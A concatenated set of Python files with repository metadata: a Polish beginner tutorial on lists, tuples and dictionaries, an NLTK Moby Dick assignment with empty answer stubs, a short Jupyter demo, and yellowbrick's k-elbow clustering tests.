a.append(pygod)  # ka\u017cde wykonanie p\u0119tli doda do tablicy \"a\" tekst \"jestem bogiem pythona\"\n\n    print(a)\n    print(c)\n\n    '''\n    mo\u017cna te\u017c utworzy\u0107 list\u0119 korzystaj\u0105c z wbudowanej funkcji\n    '''\n    empty_list = list()\n    list_1 = list((1, 2, 3, 4, 5))\n\n    '''\n    mamy list\u0119 z elementami, ale czy mo\u017cemy si\u0119 odwo\u0142a\u0107 do konkretnego jej elementu? \n    \n    No pewnie \u017ce tak, odwo\u0142ujemy si\u0119 do niego podaj\u0105c numer w kolejno\u015bci w jakiej element ten wyst\u0119puje\n    w tablicy/li\u015bcie, zaczynaj\u0105c od zera:\n    '''\n\n    print(c[0])\n    print(c[5])\n    print(c[10])\n    # print(c[22])  # wywali b\u0142\u0105d\n\n    '''\n    podmiana element\u00f3w r\u00f3wnie\u017c jest mo\u017cliwa, r\u00f3wnie\u017c wystarczy odnie\u015b\u0107 si\u0119 do elementu o po\u017cadanym numerze, i przyr\u00f3wna\u0107\n    do niego now\u0105 warto\u015b\u0107\n    '''\n\n    print(c[0])\n    c[0] = pygod\n    print(c[0])\n\n    a = '''\n    tekst tej pomocy zostanie przyr\u00f3wnany do zmiennej, jednocze\u015bnie wykonuj\u0105c \"split\"\n    \n    jest to specjalny rodzaj tworzenia tablicy z tekstu, gdzie elementami tablicy b\u0119d\u0105 wyra\u017cenia kt\u00f3re b\u0119d\u0105 rozdzielone\n    po kluczu\n    \n    np. \u017ceby otryma\u0107 list\u0119 wyraz\u00f3w z tekstu kt\u00f3ry czytasz, u\u017cyjemy jako klucza znaku \" \" (spacji)\n    '''.split(\" \")\n    print(a)\n\n    '''\n    Jak wida\u0107 tekst zosta\u0142 rozdzielony po spacjach i otrzymali\u015bmy list\u0119, a jak j\u0105 z powrotem z\u0142\u0105czy\u0107?\n    \n    Wykorzystamy wbudowan\u0105 w string funkcj\u0119 \"join\", dzia\u0142a na takiej samej zasadzie jak split, ale odwraca jego proces\n    \n    Widzimy, te\u017c pewn\u0105 prawid\u0142owo\u015b\u0107; stosujemy \"split\" a tak\u017ce b\u0119dziemy stosowa\u0107 \"join\" na ju\u017c zadeklarowanym \u0142a\u0144cuchu \n    znak\u00f3w; nie musimy si\u0119 martwi\u0107 o to, by przyr\u00f3wna\u0107 go do zmiennej, ju\u017c sam tekst ni\u0105 jest\n    '''\n\n    print(\" \".join(a))\n\n    '''\n    do tworzenia list mo\u017cemy u\u017cy\u0107 jeszcze jednej przydatnej formu\u0142y, jak\u0105 jest `list comprehension`\n    \n    list comprehension pozwala na skompresowanie tworzenia listy p\u0119tl\u0105 for, umieszczaj\u0105c j\u0105 w deklaracji jej utworzenia\n    (pomi\u0119dzy nawiasami kwadratowymi)\n    \n    nie potrzebujemy wi\u0119c u\u017cywa\u0107 a.append(`argument`), wystarczy u\u017cy\u0107 list comprehension\n    '''\n\n    l = [' co\u015b ' for i in range(20)]\n    print(l)\n\n    '''\n    w p\u0119tli for mo\u017cemy u\u017cy\u0107 wi\u0119cej ni\u017c jednej kolekcji do iterowania po danych; u\u017cywamy funkcji \n    zip(element1, element2...), kt\u00f3ra pozwala nam zadeklarowa\u0107 te zmienne jako 2 listy po kt\u00f3rych mamy iterowa\u0107\n    \n    pami\u0119tajmy \u017ce musz\u0105 to by\u0107 listy o tej samej d\u0142ugo\u015bci!\n    '''\n\n    poly3 = []\n\n    polynomial1 = [1, 3, 7, 9]\n    polynomial2 = [3, 4, 7, 0]\n\n    for coeff1, coeff2 in zip(polynomial1, polynomial2):\n        poly3.append(coeff1 + coeff2)\n\n    '''\n    a w list comprehension\n    '''\n\n    poly4 = [coeff1 + coeff2 for coeff1, coeff2 in zip(polynomial2, polynomial1)]\n\n    print(\"poly3 = \", poly3)\n    print(\"poly4 = \", poly4)\n\n    '''\n    mamy r\u00f3wnie\u017c mo\u017cliwo\u015b\u0107 tworenia czego\u015b co przypomina\u0142oby wielowymiarowe tablice; jak to zrobi\u0107?\n    \n    c\u00f3\u017c jest to po prostu tablica zawarta w tablicy\n    '''\n\n    matrix = [\n        [1, 2, 3],\n        [1, 2, 4],\n        [1, 1, 1]\n    ]\n    matrix2 = [\n        [1, 0, 2],\n        [1, 1, 0],\n        [1, 0, 6]\n    ]\n\n    '''\n    dostali\u015bmy 2 macierze 3x3 z odpowiednio wstawionymi parametrami\n    \n    mno\u017cenie macierzy przy u\u017cyciu gwiazdki powoduje mno\u017cenie \"element po elemencie\"\n    \n    mno\u017cenie przy u\u017cyciu \"@\" oznacza w\u0142a\u015bciwe mno\u017cenie macierzowe, znane z akademickiego kursu matematyki\n    '''\n    import numpy as np\n\n    matrix2 = np.array(matrix2)\n    matrix = np.array(matrix)\n\n    matrix3 = matrix * matrix2\n    matrix4 = matrix @ matrix2\n    matrix5 = matrix2 @ matrix\n\n    print(matrix3, \"\\n\\n\", matrix4, \"\\n\\n\", matrix5)\n\n    '''\n    innym bardzo podobnym typem danych do list s\u0105 tak zwane tuple. Czym one si\u0119 r\u00f3\u017cni\u0105?\n    \n    Przede wszystkim tym, \u017ce nie mo\u017cna ich modyfikowa\u0107, zmienia\u0107 ich rozmiar\u00f3w ani podstawia\u0107 danych\n    \n    Przydaje si\u0119 to szczeg\u00f3lnie gdy wyjmujemy wra\u017cliwe dane z bazy, nie jeste\u015bmy w stanie ich zmodyfikowa\u0107, ani \u017cadne \n    funkcje w programie\n    '''\n\n    tup = 1, 2, 3, 4, 5, 6\n    print(tup)\n\n    tup2 = 2,\n    print(tup2)\n\n    '''\n    o powstaniu tupli decyduje nie nawias okr\u0105g\u0142y, ale przecinek, wida\u0107 to wy\u017cej,\n    \n    poza tym nie r\u00f3\u017cni\u0105 si\u0119 za wiele od list, jedyn\u0105 r\u00f3\u017cnic\u0105 jest to, \u017ce u\u017cywaj\u0105c analogicznej metody tworzenia tupli \n    jak w listach (list comprehension), W wyniku tego tworzy si\u0119 tzw. wyra\u017cenie generatorowe \n    '''\n\n    generator = (i*2 for i in range(20))\n\n    '''\n    oraz jak zawsze mo\u017cemy skorzysta\u0107 z wbudowanej funkcji, by stworzy\u0107 tupl\u0119, np. przerabiaj\u0105c ju\u017c utworzon\u0105 \n    list\u0119 na tupl\u0119, albo poprostu utworzy\u0107 pust\u0105, choc tak naprawd\u0119 nie ma to sensu, gdy\u017c tupli nie mo\u017cna modyfikowa\u0107\n    '''\n\n    empty_tup = tuple()\n    tup_from_list = tuple([1, 2, 3])\n    print(empty_tup, tup_from_list)\n\n    '''\n    o generatorach powiemy sobie p\u00f3\u017aniej, jak narazie powiedzmy sobie teraz o s\u0142ownikach, s\u0142owniki r\u00f3wnie\u017c zapisuj\u0105 \n    wiele danych w sobie, tak samo jak lista, czy tupla\n    \n    odmiennie od list zapis w s\u0142ownikach realizuje si\u0119 jako zapis w stylu klucz=warto\u015b\u0107\n    '''\n\n    # b = {}  # deklaracja s\u0142ownika\n\n    b['klucz'] = 'warto\u015b\u0107'\n    b['s2'] = 2\n\n    '''\n    mo\u017cemy te\u017c zadeklarowa\u0107 listy u\u017cywaj\u0105c wbudowanej funkcji \"dict(warto\u015b\u0107i...)\"\n    '''\n\n    dict_1 = dict(\n        wrd=15,\n        wrc=25,\n        hamburger='cheeseburger',\n        some_complicated_list=range(1,100)\n    )\n    cust_dict = dict(\n        [\n            ('f', 2),\n            ('a', 3),\n            ('x', 6)\n        ],\n        bambo=3\n    )\n\n    '''\n    jak wida\u0107 kluczem jest zawsze string, warto\u015bci\u0105 mo\u017ce by\u0107 wszystko, \u0142\u0105cznie z innym s\u0142ownikiem\n    \n    odwo\u0142anie si\u0119 do warto\u015bci przebiega analogicznie\n    '''\n    print(b['klucz'])\n    print('s2 : ', b['s2'])\n\n    print(b)\n    '''\n    je\u017celi chcieliby\u015bmy zainicjowa\u0107 s\u0142ownik z jakimi\u015b warto\u015bciami na starcie, wpisujemy je r\u00f3wnie\u017c jako pary\n    klucz warto\u015b\u0107, ale w okre\u015blony spos\u00f3b; definiuje si\u0119 je jako:\n        `\"key\" : value`\n    \n    a wi\u0119c warto\u015bci nast\u0119puj\u0105 po dwukropku\n    '''\n    value = 3.14\n\n    d = {'a' : 3,\n         'another dict' : {\n             'key': value\n         },\n         'something': 'else'}\n\n    '''\n    w p\u0119tli for mo\u017cemy odwo\u0142a\u0107 si\u0119 zar\u00f3wno do kluczy jak i warto\u015bci\n    '''\n\n    for key, value in d:\n        print(key, ' ',  value)\n\n    '''\n    warto zaznaczy\u0107 \u017ce s\u0142owniki s\u0105 wykorzystywane we frameworku Django; przekazuje si\u0119 w nich tzw. kontekst, kt\u00f3ry\n    b\u0119dzie nast\u0119pnie wy\u015bwietlany na stronie\n    '''\n", "meta": {"hexsha": "77b2ecd0206216c91659f85bcba14fd1ae427f1e", "size": 13622, "ext": "py", "lang": "Python", "max_stars_repo_path": "zmienne.py", "max_stars_repo_name": "Neuroszima/python_course_materials_with_Travis", "max_stars_repo_head_hexsha": "0a7a9f885fee97b19a7182a7fea64141efc8d054", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "zmienne.py", "max_issues_repo_name": "Neuroszima/python_course_materials_with_Travis", "max_issues_repo_head_hexsha": "0a7a9f885fee97b19a7182a7fea64141efc8d054", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "zmienne.py", "max_forks_repo_name": "Neuroszima/python_course_materials_with_Travis", "max_forks_repo_head_hexsha": "0a7a9f885fee97b19a7182a7fea64141efc8d054", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.0044052863, "max_line_length": 122, "alphanum_fraction": 0.6489502276, "include": true, "reason": "import numpy", "num_tokens": 4582, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.2909808785120009, "lm_q2_score": 0.2043418950913969, "lm_q1q2_score": 0.059459584150501794}}
{"text": "\n# coding: utf-8\n\n# ---\n# \n# _You are currently looking at **version 1.0** of this notebook. To download notebooks and datafiles, as well as get help on Jupyter notebooks in the Coursera platform, visit the [Jupyter Notebook FAQ](https://www.coursera.org/learn/python-text-mining/resources/d9pwm) course resource._\n# \n# ---\n\n# # Assignment 2 - Introduction to NLTK\n# \n# In part 1 of this assignment you will use nltk to explore the Herman Melville novel Moby Dick. Then in part 2 you will create a spelling recommender function that uses nltk to find words similar to the misspelling. \n\n# ## Part 1 - Analyzing Moby Dick\n\n# In[ ]:\n\nimport nltk\nimport pandas as pd\nimport numpy as np\n\n# If you would like to work with the raw text you can use 'moby_raw'\nwith open('moby.txt', 'r') as f:\n    moby_raw = f.read()\n    \n# If you would like to work with the novel in nltk.Text format you can use 'text1'\nmoby_tokens = nltk.word_tokenize(moby_raw)\ntext1 = nltk.Text(moby_tokens)\n\n\n# ### Example 1\n# \n# How many tokens (words and punctuation symbols) are in text1?\n# \n# *This function should return an integer.*\n\n# In[ ]:\n\ndef example_one():\n    \n    return len(nltk.word_tokenize(moby_raw)) # or alternatively len(text1)\n\nexample_one()\n\n\n# ### Example 2\n# \n# How many unique tokens (unique words and punctuation) does text1 have?\n# \n# *This function should return an integer.*\n\n# In[ ]:\n\ndef example_two():\n    \n    return len(set(nltk.word_tokenize(moby_raw))) # or alternatively len(set(text1))\n\nexample_two()\n\n\n# ### Example 3\n# \n# After lemmatizing the verbs, how many unique tokens does text1 have?\n# \n# *This function should return an integer.*\n\n# In[ ]:\n\nfrom nltk.stem import WordNetLemmatizer\n\ndef example_three():\n\n    lemmatizer = WordNetLemmatizer()\n    lemmatized = [lemmatizer.lemmatize(w,'v') for w in text1]\n\n    return len(set(lemmatized))\n\nexample_three()\n\n\n# ### Question 1\n# \n# What is the lexical diversity of the given text input? (i.e. ratio of unique tokens to the total number of tokens)\n# \n# *This function should return a float.*\n\n# In[ ]:\n\ndef answer_one():\n    \n    \n    return # Your answer here\n\nanswer_one()\n\n\n# ### Question 2\n# \n# What percentage of tokens is 'whale'or 'Whale'?\n# \n# *This function should return a float.*\n\n# In[ ]:\n\ndef answer_two():\n    \n    \n    return # Your answer here\n\nanswer_two()\n\n\n# ### Question 3\n# \n# What are the 20 most frequently occurring (unique) tokens in the text? What is their frequency?\n# \n# *This function should return a list of 20 tuples where each tuple is of the form `(token, frequency)`. The list should be sorted in descending order of frequency.*\n\n# In[ ]:\n\ndef answer_three():\n    \n    \n    return # Your answer here\n\nanswer_three()\n\n\n# ### Question 4\n# \n# What tokens have a length of greater than 5 and frequency of more than 150?\n# \n# *This function should return a sorted list of the tokens that match the above constraints. To sort your list, use `sorted()`*\n\n# In[ ]:\n\ndef answer_four():\n    \n    \n    return # Your answer here\n\nanswer_four()\n\n\n# ### Question 5\n# \n# Find the longest word in text1 and that word's length.\n# \n# *This function should return a tuple `(longest_word, length)`.*\n\n# In[ ]:\n\ndef answer_five():\n    \n    \n    return # Your answer here\n\nanswer_five()\n\n\n# ### Question 6\n# \n# What unique words have a frequency of more than 2000? What is their frequency?\n# \n# \"Hint:  you may want to use `isalpha()` to check if the token is a word and not punctuation.\"\n# \n# *This function should return a list of tuples of the form `(frequency, word)` sorted in descending order of frequency.*\n\n# In[ ]:\n\ndef answer_six():\n    \n    \n    return # Your answer here\n\nanswer_six()\n\n\n# ### Question 7\n# \n# What is the average number of tokens per sentence?\n# \n# *This function should return a float.*\n\n# In[ ]:\n\ndef answer_seven():\n    \n    \n    return # Your answer here\n\nanswer_seven()\n\n\n# ### Question 8\n# \n# What are the 5 most frequent parts of speech in this text? What is their frequency?\n# \n# *This function should return a list of tuples of the form `(part_of_speech, frequency)` sorted in descending order of frequency.*\n\n# In[ ]:\n\ndef answer_eight():\n    \n    \n    return # Your answer here\n\nanswer_eight()\n\n\n# ## Part 2 - Spelling Recommender\n# \n# For this part of the assignment you will create three different spelling recommenders, that each take a list of misspelled words and recommends a correctly spelled word for every word in the list.\n# \n# For every misspelled word, the recommender should find find the word in `correct_spellings` that has the shortest distance*, and starts with the same letter as the misspelled word, and return that word as a recommendation.\n# \n# *Each of the three different recommenders will use a different distance measure (outlined below).\n# \n# Each of the recommenders should provide recommendations for the three default words provided: `['cormulent', 'incendenece', 'validrate']`.\n\n# In[ ]:\n\nfrom nltk.corpus import words\n\ncorrect_spellings = words.words()\n\n\n# ### Question 9\n# \n# For this recommender, your function should provide recommendations for the three default words provided above using the following distance metric:\n# \n# **[Jaccard distance](https://en.wikipedia.org/wiki/Jaccard_index) on the trigrams of the two words.**\n# \n# *This function should return a list of length three:\n# `['cormulent_reccomendation', 'incendenece_reccomendation', 'validrate_reccomendation']`.*\n\n# In[ ]:\n\ndef answer_nine(entries=['cormulent', 'incendenece', 'validrate']):\n    \n    \n    return # Your answer here\n    \nanswer_nine()\n\n\n# ### Question 10\n# \n# For this recommender, your function should provide recommendations for the three default words provided above using the following distance metric:\n# \n# **[Jaccard distance](https://en.wikipedia.org/wiki/Jaccard_index) on the 4-grams of the two words.**\n# \n# *This function should return a list of length three:\n# `['cormulent_reccomendation', 'incendenece_reccomendation', 'validrate_reccomendation']`.*\n\n# In[ ]:\n\ndef answer_ten(entries=['cormulent', 'incendenece', 'validrate']):\n    \n    \n    return # Your answer here\n    \nanswer_ten()\n\n\n# ### Question 11\n# \n# For this recommender, your function should provide recommendations for the three default words provided above using the following distance metric:\n# \n# **[Edit distance on the two words with transpositions.](https://en.wikipedia.org/wiki/Damerau%E2%80%93Levenshtein_distance)**\n# \n# *This function should return a list of length three:\n# `['cormulent_reccomendation', 'incendenece_reccomendation', 'validrate_reccomendation']`.*\n\n# In[ ]:\n\ndef answer_eleven(entries=['cormulent', 'incendenece', 'validrate']):\n    \n    \n    return # Your answer here \n    \nanswer_eleven()\n\n", "meta": {"hexsha": "720f8f3c8b706d964130c2d0bf2876ee1a15a7d0", "size": 6723, "ext": "py", "lang": "Python", "max_stars_repo_path": "Michigan - Text Mining/Text Mining Assignment+2.py", "max_stars_repo_name": "aixpact/NLP", "max_stars_repo_head_hexsha": "30160654db707787e91f513fcf8641f7a0c2270d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Michigan - Text Mining/Text Mining Assignment+2.py", "max_issues_repo_name": "aixpact/NLP", "max_issues_repo_head_hexsha": "30160654db707787e91f513fcf8641f7a0c2270d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Michigan - Text Mining/Text Mining Assignment+2.py", "max_forks_repo_name": "aixpact/NLP", "max_forks_repo_head_hexsha": "30160654db707787e91f513fcf8641f7a0c2270d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.6725352113, "max_line_length": 287, "alphanum_fraction": 0.7047449055, "include": true, "reason": "import numpy", "num_tokens": 1714, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45326183324442865, "lm_q2_score": 0.1311732101759139, "lm_q1q2_score": 0.05945580971689148}}
{"text": "# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n# %%\nfrom datetime import datetime\nprint (\"Today is:\" + str(datetime.now()))\n\n\n# %%\ndef say_hello(recipient):\n    return 'Hi, {}!'.format(recipient)\nsay_hello('Curious') + \" Welcome to the Jupyter Notebooks tutorial!\"\n\n\n# %%\nimport numpy as np\ndef square(x):\n    return x * x\nprint (\"You can use the awesome numpy to do things like:\")\nx = np.random.randint(1, 10)\nprint (\"The square of {} is: \".format(x) + str(square(x)))\n\n\n# %%\nimport os\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set(style=\"darkgrid\")\n\ndf = pd.read_csv(os.getcwd() + '/TutorialNotebooks/UserSample.csv')\ndf.head()\n\n\n# %%\nprint (\"Total records: \" + str(len(df)))\ndf.dtypes\n\n\n# %%\n\n\n\n", "meta": {"hexsha": "eadf694985761f79a5d7e3599c7209ab1bc09e31", "size": 773, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/tutorial.py", "max_stars_repo_name": "webteckie/iJupyterNotebooks", "max_stars_repo_head_hexsha": "028351ad525d22f48a9795e8cca48a7b8a9d4bc3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-08-24T13:37:04.000Z", "max_stars_repo_stars_event_max_datetime": "2020-08-24T13:37:04.000Z", "max_issues_repo_path": "notebooks/tutorial.py", "max_issues_repo_name": "webteckie/iJupyterNotebooks", "max_issues_repo_head_hexsha": "028351ad525d22f48a9795e8cca48a7b8a9d4bc3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/tutorial.py", "max_forks_repo_name": "webteckie/iJupyterNotebooks", "max_forks_repo_head_hexsha": "028351ad525d22f48a9795e8cca48a7b8a9d4bc3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 17.976744186, "max_line_length": 68, "alphanum_fraction": 0.6532988357, "include": true, "reason": "import numpy", "num_tokens": 207, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.12252322052837361, "lm_q1q2_score": 0.05934780788542115}}
{"text": "# tests.test_cluster.test_elbow\n# Tests for the KElbowVisualizer\n#\n# Author:   Benjamin Bengfort <bbengfort@districtdatalabs.com>\n# Created:  Thu Mar 23 22:30:19 2017 -0400\n#\n# Copyright (C) 2016 District Data Labs\n# For license information, see LICENSE.txt\n#\n# ID: test_elbow.py [5a370c8] benjamin@bengfort.com $\n\n\"\"\"\nTests for the KElbowVisualizer\n\"\"\"\n\n##########################################################################\n## Imports\n##########################################################################\n\nimport sys\nimport pytest\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom ..base import VisualTestCase\nfrom ..dataset import DatasetMixin\n\nfrom scipy.sparse import csc_matrix, csr_matrix\nfrom numpy.testing.utils import assert_array_almost_equal\n\nfrom sklearn.datasets import make_blobs\nfrom sklearn.cluster import KMeans, MiniBatchKMeans\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\nfrom yellowbrick.cluster.elbow import distortion_score\nfrom yellowbrick.cluster.elbow import KElbowVisualizer\nfrom yellowbrick.exceptions import YellowbrickValueError\n\ntry:\n    import pandas as pd\nexcept ImportError:\n    pd = None\n\n\n##########################################################################\n## K-Elbow Helpers Test Cases\n##########################################################################\n\nX = np.array(\n      [[-0.40020753, -4.67055317, -0.27191127, -1.49156318],\n       [ 0.37143349, -4.89391622, -1.23893945,  0.48318165],\n       [ 8.625142  , -1.2372284 ,  1.39301471,  4.3394457 ],\n       [ 7.65803596, -2.21017215,  1.99175714,  3.71004654],\n       [ 0.89319875, -5.37152317,  1.50313598,  1.95284886],\n       [ 2.68362166, -5.78810913, -0.41233406,  1.94638989],\n       [ 7.63541182, -1.99606076,  0.9241231 ,  4.53478238],\n       [ 9.04699415, -0.74540679,  0.98042851,  5.99569071],\n       [ 1.02552122, -5.73874278, -1.74804915, -0.07831216],\n       [ 7.18135665, -3.49473178,  1.14300963,  4.46065816],\n       [ 0.58812902, -4.66559815, -0.72831685,  1.40171779],\n       [ 1.48620862, -5.9963108 ,  0.19145963, -1.11369256],\n       [ 7.6625556 , -1.21328083,  2.06361094,  6.2643551 ],\n       [ 9.45050727, -1.36536078,  1.31154384,  3.89103468],\n       [ 6.88203724, -1.62040255,  3.89961049,  2.12865388],\n       [ 5.60842705, -2.10693356,  1.93328514,  3.90825432],\n       [ 2.35150936, -6.62836131, -1.84278374,  0.51540886],\n       [ 1.17446451, -5.62506058, -2.18420699,  1.21385128]]\n)\n\ny = np.array([0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0])\n\n\nclass TestKElbowHelper(object):\n    \"\"\"\n    Helper functions for K-Elbow Visualizer\n    \"\"\"\n\n    def test_distortion_score(self):\n        \"\"\"\n        Test the distortion score metric function\n        \"\"\"\n        score = distortion_score(X, y)\n        assert score == pytest.approx(69.10006514142941)\n\n    @pytest.mark.parametrize(\"Xs\", [\n        csc_matrix(X), csr_matrix(X),\n    ], ids=[\"csc\", \"csr\"])\n    def test_distortion_score_sparse_matrix_input(self, Xs):\n        \"\"\"\n        Test the distortion score metric on a sparse array\n        \"\"\"\n        score = distortion_score(Xs, y)\n        assert score == pytest.approx(69.10006514142938)\n\n    @pytest.mark.skipif(pd is None, reason=\"pandas is required\")\n    def test_distortion_score_pandas_input(self):\n        \"\"\"\n        Test the distortion score metric on pandas DataFrame and Series\n        \"\"\"\n        df = pd.DataFrame(X)\n        s = pd.Series(y)\n\n        score = distortion_score(df, s)\n        assert score == pytest.approx(69.10006514142941)\n\n\n##########################################################################\n## KElbowVisualizer Test Cases\n##########################################################################\n\nclass TestKElbowVisualizer(VisualTestCase, DatasetMixin):\n    \"\"\"\n    K-Elbow Visualizer Tests\n    \"\"\"\n\n    @pytest.mark.xfail(reason=\"images not close due to timing lines\")\n    def test_integrated_kmeans_elbow(self):\n        \"\"\"\n        Test no exceptions for kmeans k-elbow visualizer on blobs dataset\n        \"\"\"\n        # NOTE #182: cannot use occupancy dataset because of memory usage\n\n        # Generate a blobs data set\n        X,y = make_blobs(\n            n_samples=1000, n_features=12, centers=6,\n            shuffle=True, random_state=42\n        )\n\n        try:\n            _, ax = plt.subplots()\n\n            visualizer = KElbowVisualizer(KMeans(random_state=42), k=4, ax=ax)\n            visualizer.fit(X)\n            visualizer.poof()\n\n            self.assert_images_similar(visualizer)\n        except Exception as e:\n            pytest.fail(\"error during k-elbow: {}\".format(e))\n\n    @pytest.mark.xfail(reason=\"images not close due to timing lines\")\n    def test_integrated_mini_batch_kmeans_elbow(self):\n        \"\"\"\n        Test no exceptions for mini-batch kmeans k-elbow visualizer\n        \"\"\"\n        # NOTE #182: cannot use occupancy dataset because of memory usage\n\n        # Generate a blobs data set\n        X,y = make_blobs(\n            n_samples=1000, n_features=12, centers=6, shuffle=True, random_state=42\n        )\n\n        try:\n            _, ax = plt.subplots()\n\n            visualizer = KElbowVisualizer(\n                MiniBatchKMeans(random_state=42), k=4, ax=ax\n            )\n            visualizer.fit(X)\n            visualizer.poof()\n\n            self.assert_images_similar(visualizer)\n        except Exception as e:\n            pytest.fail(\"error during k-elbow: {}\".format(e))\n\n    @pytest.mark.skip(reason=\"takes over 20 seconds to run\")\n    def test_topic_modeling_k_means(self):\n        \"\"\"\n        Test topic modeling k-means on the hobbies corpus\n        \"\"\"\n        corpus = self.load_corpus(\"hobbies\")\n\n        tfidf  = TfidfVectorizer()\n        docs   = tfidf.fit_transform(corpus.data)\n        visualizer = KElbowVisualizer(KMeans(), k=(4, 8))\n\n        visualizer.fit(docs)\n        visualizer.poof()\n\n        self.assert_images_similar(visualizer)\n\n    def test_invalid_k(self):\n        \"\"\"\n        Assert that invalid values of K raise exceptions\n        \"\"\"\n\n        with pytest.raises(YellowbrickValueError):\n            KElbowVisualizer(KMeans(), k=(1, 2, 3, 'foo', 5))\n\n        with pytest.raises(YellowbrickValueError):\n            KElbowVisualizer(KMeans(), k=\"foo\")\n\n    def test_valid_k(self):\n        \"\"\"\n        Assert that valid values of K generate correct k_values_:\n        if k is an int, k_values_ = range(2, k+1)\n        if k is a tuple of 2 ints, k_values = range(k[0], k[1])\n        if k is an iterable, k_values_ = list(k)\n        \"\"\"\n        visualizer = KElbowVisualizer(KMeans(), k=8)\n        assert visualizer.k_values_ == list(np.arange(2, 8+1))\n\n        visualizer = KElbowVisualizer(KMeans(), k=(4, 12))\n        assert visualizer.k_values_ == list(np.arange(4, 12))\n\n        visualizer = KElbowVisualizer(KMeans(), k=np.arange(10, 100, 10))\n        assert visualizer.k_values_ == list(np.arange(10, 100, 10))\n\n        visualizer = KElbowVisualizer(KMeans(),\n                                      k=[10, 20, 30, 40, 50, 60, 70, 80, 90])\n        assert visualizer.k_values_ == list(np.arange(10, 100, 10))\n\n    @pytest.mark.xfail(\n        sys.platform == 'win32', reason=\"images not close on windows\"\n    )\n    def test_distortion_metric(self):\n        \"\"\"\n        Test the distortion metric of the k-elbow visualizer\n        \"\"\"\n        visualizer = KElbowVisualizer(\n            KMeans(random_state=0), k=5, metric=\"distortion\", timings=False\n        )\n        visualizer.fit(X)\n\n        expected = np.array([ 69.100065, 54.081571, 43.146921, 34.978487])\n        assert len(visualizer.k_scores_) == 4\n\n        visualizer.poof()\n        self.assert_images_similar(visualizer)\n        assert_array_almost_equal(visualizer.k_scores_, expected)\n\n    @pytest.mark.xfail(\n        sys.platform == 'win32', reason=\"images not close on windows\"\n    )\n    def test_silhouette_metric(self):\n        \"\"\"\n        Test the silhouette metric of the k-elbow visualizer\n        \"\"\"\n        visualizer = KElbowVisualizer(\n            KMeans(random_state=0), k=5, metric=\"silhouette\", timings=False\n        )\n        visualizer.fit(X)\n\n        expected = np.array([ 0.691636,  0.456646,  0.255174,  0.239842])\n        assert len(visualizer.k_scores_) == 4\n\n        visualizer.poof()\n        self.assert_images_similar(visualizer)\n        assert_array_almost_equal(visualizer.k_scores_, expected)\n\n    @pytest.mark.xfail(\n        sys.platform == 'win32', reason=\"images not close on windows\"\n    )\n    def test_calinski_harabaz_metric(self):\n        \"\"\"\n        Test the calinski-harabaz metric of the k-elbow visualizer\n        \"\"\"\n        visualizer = KElbowVisualizer(\n            KMeans(random_state=0), k=5,\n            metric=\"calinski_harabaz\", timings=False\n        )\n        visualizer.fit(X)\n        assert len(visualizer.k_scores_) == 4\n\n        expected = np.array([\n            81.662726256035683, 50.992378259195554,\n            40.952179227847012, 35.939494\n        ])\n\n\n        visualizer.poof()\n        self.assert_images_similar(visualizer)\n        assert_array_almost_equal(visualizer.k_scores_, expected)\n\n    def test_bad_metric(self):\n        \"\"\"\n        Assert KElbow raises an exception when a bad metric is supplied\n        \"\"\"\n        with pytest.raises(YellowbrickValueError):\n            KElbowVisualizer(KMeans(), k=5, metric=\"foo\")\n\n    @pytest.mark.xfail(\n        sys.platform == 'win32', reason=\"images not close on windows\"\n    )\n    def test_timings(self):\n        \"\"\"\n        Test the twinx double axes with k-elbow timings\n        \"\"\"\n        visualizer = KElbowVisualizer(\n            KMeans(random_state=0), k=5, timings=True\n        )\n        visualizer.fit(X)\n\n        # Check that we kept track of time\n        assert len(visualizer.k_timers_) == 4\n        assert all([t > 0 for t in visualizer.k_timers_])\n\n        # Check that we plotted time on a twinx\n        assert hasattr(visualizer, \"axes\")\n        assert len(visualizer.axes) == 2\n\n        # delete the timings axes and\n        # overwrite k_timers_, k_values_ for image similarity Tests\n        visualizer.axes[1].remove()\n        visualizer.k_timers_ = [\n            0.01084589958190918, 0.011144161224365234,\n            0.017028093338012695, 0.010634183883666992\n        ]\n        visualizer.k_values_ = [2, 3, 4, 5]\n\n        # call draw again which is normally called in fit\n        visualizer.draw()\n        visualizer.poof()\n\n        self.assert_images_similar(visualizer)\n", "meta": {"hexsha": "1a1a8f2fb855381eae21aeccc74e34780c2b45e8", "size": 10451, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_cluster/test_elbow.py", 